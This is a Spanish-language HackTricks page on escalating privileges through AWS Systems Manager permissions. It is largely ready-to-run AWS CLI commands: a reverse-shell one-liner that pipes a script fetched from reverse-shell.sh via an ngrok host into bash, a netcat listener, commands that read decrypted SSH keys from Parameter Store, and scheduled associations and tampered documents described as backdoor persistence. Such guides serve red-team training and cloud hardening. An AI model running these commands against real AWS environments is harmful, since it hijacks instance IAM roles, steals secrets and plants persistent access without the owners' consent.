AWS - SSM Privesc

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

SSM

Para más info sobre SSM revisa:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

ssm:SendCommand

Un atacante con el permiso ssm:SendCommand puede ejecutar comandos en instances que ejecutan el Amazon SSM Agent y comprometer el IAM Role que se ejecuta dentro de él.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"

En caso de que estés usando esta técnica para escalar privilegios dentro de una instancia EC2 ya comprometida, podrías simplemente capturar la rev shell localmente con:

# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"

Impacto potencial: privesc directo a los roles IAM de EC2 adjuntos a instancias en ejecución con SSM Agents ejecutándose.

ssm:StartSession

Un atacante con el permiso ssm:StartSession puede iniciar una sesión tipo SSH en instancias que ejecutan Amazon SSM Agent y comprometer el IAM Role que se está ejecutando dentro de ellas.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"

Caution

Para iniciar una sesión necesitas tener instalado SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

Impacto potencial: privesc directo a los roles IAM de EC2 adjuntos a instancias en ejecución con SSM Agents ejecutándose.

Privesc to ECS

Cuando las ECS tasks se ejecutan con ExecuteCommand enabled, los usuarios con suficientes permisos pueden usar ecs execute-command para ejecutar un comando dentro del container.
Según the documentation, esto se hace creando un canal seguro entre el dispositivo que usas para iniciar el comando “exec” y el target container con SSM Session Manager. (SSM Session Manager Plugin necesario para que esto funcione)
Por lo tanto, los usuarios con ssm:StartSession podrán obtener un shell inside ECS tasks con esa opción habilitada simplemente ejecutando:

aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"

Impacto potencial: privesc directo a los roles de ECSIAM adjuntos a tasks en ejecución con ExecuteCommand habilitado.

ssm:ResumeSession

Un atacante con el permiso ssm:ResumeSession puede reiniciar una sesión tipo SSH en instances que ejecutan el Amazon SSM Agent con un estado de sesión SSM desconectado y comprometer el IAM Role que se ejecuta dentro de ella.

# Check for configured instances
aws ssm describe-sessions

# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5

Impacto potencial: privesc directa a los roles IAM de EC2 adjuntos a instancias en ejecución con SSM Agents ejecutándose y sesiones desconectadas.

ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)

Un atacante con los permisos mencionados podrá enumerar los parámetros de SSM y leerlos en texto claro. En estos parámetros frecuentemente puedes encontrar información sensible como claves SSH o claves API.

aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption

Impacto potencial: Encontrar información sensible dentro de los parámetros.

ssm:ListCommands

Un atacante con este permiso puede listar todos los commands enviados y, con suerte, encontrar información sensible en ellos.

aws ssm list-commands

Impacto Potencial: Encontrar información sensible dentro de las líneas de comando.

ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)

Un atacante con estos permisos puede listar todos los commands enviados y leer la salida generada, con suerte encontrando información sensible en ella.

# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations

aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>

Impacto potencial: Encontrar información sensible dentro de la salida de las líneas de comando.

Using ssm:CreateAssociation

Un atacante con el permiso ssm:CreateAssociation puede crear una State Manager Association para ejecutar automáticamente comandos en instancias EC2 gestionadas por SSM. Estas associations se pueden configurar para ejecutarse a un intervalo fijo, lo que las hace adecuadas para persistencia tipo backdoor sin sesiones interactivas.

aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name

Note

Este método de persistence funciona siempre que la instancia EC2 sea administrada por Systems Manager, el agente SSM esté ejecutándose y el atacante tenga permiso para crear associations. No requiere sesiones interactivas ni permisos explícitos de ssm:SendCommand. Importante: el parámetro --schedule-expression (por ejemplo, rate(30 minutes)) debe respetar el intervalo mínimo de AWS de 30 minutos. Para ejecución inmediata o única, omite --schedule-expression por completo — la association se ejecutará una vez después de su creación.

ssm:UpdateDocument, ssm:UpdateDocumentDefaultVersion, (ssm:ListDocuments | ssm:GetDocument)

Un atacante con los permisos ssm:UpdateDocument y ssm:UpdateDocumentDefaultVersion puede escalar privilegios modificando documentos existentes. Esto también permite persistence dentro de ese documento. En la práctica, el atacante también necesitaría ssm:ListDocuments para obtener los nombres de los custom documents y, si el atacante quiere ofuscar su payload dentro de un documento existente, ssm:GetDocument también sería necesario.

aws ssm list-documents
aws ssm get-document --name "target-document" --document-format YAML
# You will need to specify the version you're updating
aws ssm update-document \
--name "target-document" \
--document-format YAML \
--content "file://doc.yaml" \
--document-version 1
aws ssm update-document-default-version --name "target-document" --document-version 2

Abajo hay un ejemplo de documento que se puede usar para sobrescribir un documento existente. Querrás asegurarte de que el tipo de tu documento coincida con el tipo del documento objetivo para evitar problemas con la invocación. El documento de abajo, por ejemplo, funcionará para los ejemplos de ssm:SendCommand y ssm:CreateAssociation.

schemaVersion: '2.2'
description: Execute commands on a Linux instance.
parameters:
commands:
type: StringList
description: "The commands to run."
displayType: textarea
mainSteps:
- action: aws:runShellScript
name: runCommands
inputs:
runCommand:
- "id > /tmp/pwn_test.txt"

ssm:RegisterTaskWithMaintenanceWindow, ssm:RegisterTargetWithMaintenanceWindow, (ssm:DescribeMaintenanceWindows | ec2:DescribeInstances)

Un atacante con los permisos ssm:RegisterTaskWithMaintenanceWindow y ssm:RegisterTargetWithMaintenanceWindow puede escalar privilegios registrando primero un nuevo target con una maintenance window existente y luego actualizando registrando una nueva task. Esto logra ejecución en los targets existentes, pero puede permitir a un atacante comprometer compute con diferentes roles al registrar nuevos targets. Esto también permite persistence, ya que las tasks de maintenance windows se ejecutan en un intervalo predefinido durante la creación de la window. En la práctica, el atacante también necesitaría ssm:DescribeMaintenanceWindows para obtener los IDs de la maintenance window.

aws ec2 describe-instances
aws ssm describe-maintenance-window
aws ssm register-target-with-maintenance-window \
--window-id "<mw-id>" \
--resource-type "INSTANCE" \
--targets "Key=InstanceIds,Values=<instance_id>"
aws ssm register-task-with-maintenance-window \
--window-id "<mw-id>" \
--task-arn "AWS-RunShellScript" \
--task-type "RUN_COMMAND" \
--targets "Key=WindowTargetIds,Values=<target_id>" \
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
--max-concurrency 50 \
--max-errors 100

Codebuild

También puedes usar SSM para entrar en un proyecto de codebuild que se está construyendo:

AWS - Codebuild Privesc

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks